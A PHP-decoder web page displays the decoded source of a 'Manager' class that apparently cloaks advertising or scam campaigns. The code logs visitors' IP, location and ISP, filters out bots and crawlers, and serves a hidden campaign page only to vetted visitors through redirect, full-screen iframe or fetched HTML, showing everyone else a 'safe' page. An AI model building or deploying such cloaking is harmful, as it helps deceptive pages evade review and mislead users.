Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
require_once '../UserIdentity.php'; include_once '../db.php'; class Manager { ..
Decoded Output download
<?
require_once '../UserIdentity.php';
include_once '../db.php';
class Manager {
private $campaign_id = null;
private $user_ip = null;
private $user_id = null;
private $isp = null;
/**
* Manager constructor.
*
* @param null $campaign_id
*/
public function __construct($campaign_id = null) {
if (is_null($campaign_id) or empty($campaign_id) or is_array($campaign_id) or $campaign_id === '') {
return 'Cant process request';
}
$this->campaign_id = $campaign_id;
$this->user_ip = isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];
$this->isp = gethostbyaddr($this->user_ip);
}
public function runCampaign() {
$db = new db();
$campaignParams = $db->getCampaignByCampaignID($this->campaign_id);
if ($campaignParams === 'No data!') {
return false;
}
$data = $this->prepareUserData($campaignParams);
$this->user_id = $db->saveNewUser($this->campaign_id, $data);
if (!is_numeric($this->user_id)) {
return false;
}
$settings = $this->getCampaignSettings($this->user_id);
$bot_list = $db->getBotsList();
$has_access = $this->validateCampaignSettings($settings, $bot_list);
$db->updateUser($has_access, $this->user_id);
if (!$has_access['status']) {
return false;
}
$page_option = $this->servePage($this->campaign_id, $has_access['status']);
return $this->handlePageServ($page_option);
}
/**
* @param array $campaignParams
* @return mixed
*/
protected function prepareUserData($campaignParams = []) {
if (empty($campaignParams)) {
return 'No data!';
}
$userAgent = new UserIdentity();
$ua = $userAgent->getBrowser();
$user_location = $this->findUserLocation($this->user_ip);
// $tz = timezone_open($user_location['location']);
// $dateTimeOslo = date_create("now", timezone_open($user_location['location']));
return [
'campaign_id' => $campaignParams['campaign_id'],
'user_ip' => $this->user_ip,
'country' => strtolower($user_location['location']),
'referrer' => $ua['referrer'],
'headers_user_agent' => $ua['userAgent'],
// 'headers_timezone' => timezone_offset_get($tz, $dateTimeOslo) / 60,
'isp_type' => $user_location['isp'],
'asn' => $user_location['asn'],
'aso' => $user_location['aso'],
'unique_id' => isset($campaignParams['unique_cookie']) ? $campaignParams['unique_cookie'] : null,
'created' => date('Y-m-d H:m:s')
];
}
/**
* @param $user_id
* @return string | mixed
*/
private function getCampaignSettings($user_id) {
try {
$db = new db();
return $db->getUserAndCampaignSettings($user_id);
} catch (Exception $e) {
return $e->getMessage();
}
}
/**
* @param array $settings
* @param array $bot_list
* @return array
*/
private function validateCampaignSettings($settings = [], $bot_list = []) {
//TODO Find rule for windows NT server.
$user = $settings['user'];
$campaign = $settings['campaign'];
$countries = $settings['countries'];
if (strtolower($countries['country_name']) !== $user['country']) {
return ['status' => false, 'msg' => 'Countries dont match'];
}
// if (empty($user['headers_user_agent'])) {
// return ['status' => false, 'msg' => 'No user agent'];
// }
if (strpos($user['headers_user_agent'], 'CrOS') !== false) {
return ['status' => false, 'msg' => 'Google bot'];
}
// if (strpos($user['headers_user_agent'], 'Windows NT') !== false) {
// return ['status' => false, 'msg' => 'Bot'];
// }
foreach ($bot_list as $bot) {
if (strpos($user['headers_user_agent'], $bot['ua_bot_name'])) {
return ['status' => false, 'msg' => $bot['bot_name']];
break;
}
}
return ['status' => true];
}
/**
* @param null $ip
* @return mixed|string
*/
protected function findUserLocation($ip = null) {
/**
* Get user IP
* Run it in a query WHERE LIKE to get the network
* run the network to validate the ip is really in the network
* get location
* return the country of the user.
*/
//Uncomment for debug purposes
$ip = '172.69.130.59';
if (is_null($ip)) {
return 'No IP supplied!';
}
$ip_arr = explode('.', $ip);
$ip_A_B = "{$ip_arr[0]}.{$ip_arr[1]}";
$db = new db();
$res = $db->getAllIPs($ip_A_B);
foreach ($res as $network) {
$ip_range_networks = explode('/', $network['network']);
$sub = new IPv4\SubnetCalculator($ip_range_networks[0], $ip_range_networks[1]);
foreach ($sub->getAllIPAddresses() as $net) {
if ($ip === $net) {
$country_ip_block = $sub->getSubnetArrayReport();;
break;
}
}
}
$geo = $db->getGeoByIpAndNetwork($country_ip_block['ip_address_with_network_size']);
$location = $db->getIPLocation($geo['geoname_id']);
if (!is_array($location) or empty($location)) {
return 'No location found!';
}
$isp = $db->getISP($country_ip_block['ip_address_with_network_size']);
return [
'location' => $location['country_name'],
'isp' => $isp['isp'],
'asn' => $isp['autonomous_system_number'],
'aso' => $isp['autonomous_system_organization']
];
}
/**
* @param $campaign_id
* @param $has_access
* @return mixed
*/
private function servePage($campaign_id, $has_access) {
$db = new db();
$campaign = $db->getCampaignByCampaignID($campaign_id);
if ($has_access) {
return [
'page' => $campaign['page_url'],
'option' => $campaign['user_allowed']
];
}
return [
'page' => $campaign['safe_page_url'],
'option' => $campaign['user_blocked']
];
}
/**
* @param $page_rules
* @return mixed
*/
private function handlePageServ($page_rules) {
switch ($page_rules['option']) {
case 'REDIRECT':
header("Location: {$page_rules['page']}");
break;
case 'IFRAME':
return "<iframe src={$page_rules['page']} style='visibility:visible !important; position:absolute; top:0px; left:0px; bottom:0px; right:0px; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;' allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen'></iframe>";
break;
case 'HTML':
$url = "{$page_rules['page']}";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
return $output;
break;
case 'RSP':
default:
break;
}
return $page_rules;
}
}
?>
Did this file decode correctly?
Original Code
require_once '../UserIdentity.php';
include_once '../db.php';
class Manager {
private $campaign_id = null;
private $user_ip = null;
private $user_id = null;
private $isp = null;
/**
* Manager constructor.
*
* @param null $campaign_id
*/
public function __construct($campaign_id = null) {
if (is_null($campaign_id) or empty($campaign_id) or is_array($campaign_id) or $campaign_id === '') {
return 'Cant process request';
}
$this->campaign_id = $campaign_id;
$this->user_ip = isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];
$this->isp = gethostbyaddr($this->user_ip);
}
public function runCampaign() {
$db = new db();
$campaignParams = $db->getCampaignByCampaignID($this->campaign_id);
if ($campaignParams === 'No data!') {
return false;
}
$data = $this->prepareUserData($campaignParams);
$this->user_id = $db->saveNewUser($this->campaign_id, $data);
if (!is_numeric($this->user_id)) {
return false;
}
$settings = $this->getCampaignSettings($this->user_id);
$bot_list = $db->getBotsList();
$has_access = $this->validateCampaignSettings($settings, $bot_list);
$db->updateUser($has_access, $this->user_id);
if (!$has_access['status']) {
return false;
}
$page_option = $this->servePage($this->campaign_id, $has_access['status']);
return $this->handlePageServ($page_option);
}
/**
* @param array $campaignParams
* @return mixed
*/
protected function prepareUserData($campaignParams = []) {
if (empty($campaignParams)) {
return 'No data!';
}
$userAgent = new UserIdentity();
$ua = $userAgent->getBrowser();
$user_location = $this->findUserLocation($this->user_ip);
// $tz = timezone_open($user_location['location']);
// $dateTimeOslo = date_create("now", timezone_open($user_location['location']));
return [
'campaign_id' => $campaignParams['campaign_id'],
'user_ip' => $this->user_ip,
'country' => strtolower($user_location['location']),
'referrer' => $ua['referrer'],
'headers_user_agent' => $ua['userAgent'],
// 'headers_timezone' => timezone_offset_get($tz, $dateTimeOslo) / 60,
'isp_type' => $user_location['isp'],
'asn' => $user_location['asn'],
'aso' => $user_location['aso'],
'unique_id' => isset($campaignParams['unique_cookie']) ? $campaignParams['unique_cookie'] : null,
'created' => date('Y-m-d H:m:s')
];
}
/**
* @param $user_id
* @return string | mixed
*/
private function getCampaignSettings($user_id) {
try {
$db = new db();
return $db->getUserAndCampaignSettings($user_id);
} catch (Exception $e) {
return $e->getMessage();
}
}
/**
* @param array $settings
* @param array $bot_list
* @return array
*/
private function validateCampaignSettings($settings = [], $bot_list = []) {
//TODO Find rule for windows NT server.
$user = $settings['user'];
$campaign = $settings['campaign'];
$countries = $settings['countries'];
if (strtolower($countries['country_name']) !== $user['country']) {
return ['status' => false, 'msg' => 'Countries dont match'];
}
// if (empty($user['headers_user_agent'])) {
// return ['status' => false, 'msg' => 'No user agent'];
// }
if (strpos($user['headers_user_agent'], 'CrOS') !== false) {
return ['status' => false, 'msg' => 'Google bot'];
}
// if (strpos($user['headers_user_agent'], 'Windows NT') !== false) {
// return ['status' => false, 'msg' => 'Bot'];
// }
foreach ($bot_list as $bot) {
if (strpos($user['headers_user_agent'], $bot['ua_bot_name'])) {
return ['status' => false, 'msg' => $bot['bot_name']];
break;
}
}
return ['status' => true];
}
/**
* @param null $ip
* @return mixed|string
*/
protected function findUserLocation($ip = null) {
/**
* Get user IP
* Run it in a query WHERE LIKE to get the network
* run the network to validate the ip is really in the network
* get location
* return the country of the user.
*/
//Uncomment for debug purposes
$ip = '172.69.130.59';
if (is_null($ip)) {
return 'No IP supplied!';
}
$ip_arr = explode('.', $ip);
$ip_A_B = "{$ip_arr[0]}.{$ip_arr[1]}";
$db = new db();
$res = $db->getAllIPs($ip_A_B);
foreach ($res as $network) {
$ip_range_networks = explode('/', $network['network']);
$sub = new IPv4\SubnetCalculator($ip_range_networks[0], $ip_range_networks[1]);
foreach ($sub->getAllIPAddresses() as $net) {
if ($ip === $net) {
$country_ip_block = $sub->getSubnetArrayReport();;
break;
}
}
}
$geo = $db->getGeoByIpAndNetwork($country_ip_block['ip_address_with_network_size']);
$location = $db->getIPLocation($geo['geoname_id']);
if (!is_array($location) or empty($location)) {
return 'No location found!';
}
$isp = $db->getISP($country_ip_block['ip_address_with_network_size']);
return [
'location' => $location['country_name'],
'isp' => $isp['isp'],
'asn' => $isp['autonomous_system_number'],
'aso' => $isp['autonomous_system_organization']
];
}
/**
* @param $campaign_id
* @param $has_access
* @return mixed
*/
private function servePage($campaign_id, $has_access) {
$db = new db();
$campaign = $db->getCampaignByCampaignID($campaign_id);
if ($has_access) {
return [
'page' => $campaign['page_url'],
'option' => $campaign['user_allowed']
];
}
return [
'page' => $campaign['safe_page_url'],
'option' => $campaign['user_blocked']
];
}
/**
* @param $page_rules
* @return mixed
*/
private function handlePageServ($page_rules) {
switch ($page_rules['option']) {
case 'REDIRECT':
header("Location: {$page_rules['page']}");
break;
case 'IFRAME':
return "<iframe src={$page_rules['page']} style='visibility:visible !important; position:absolute; top:0px; left:0px; bottom:0px; right:0px; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;' allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen'></iframe>";
break;
case 'HTML':
$url = "{$page_rules['page']}";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
return $output;
break;
case 'RSP':
default:
break;
}
return $page_rules;
}
}
Function Calls
None |
Stats
MD5 | 5d69a250ecffb0144054dc99c0134768 |
Eval Count | 0 |
Decode Time | 160 ms |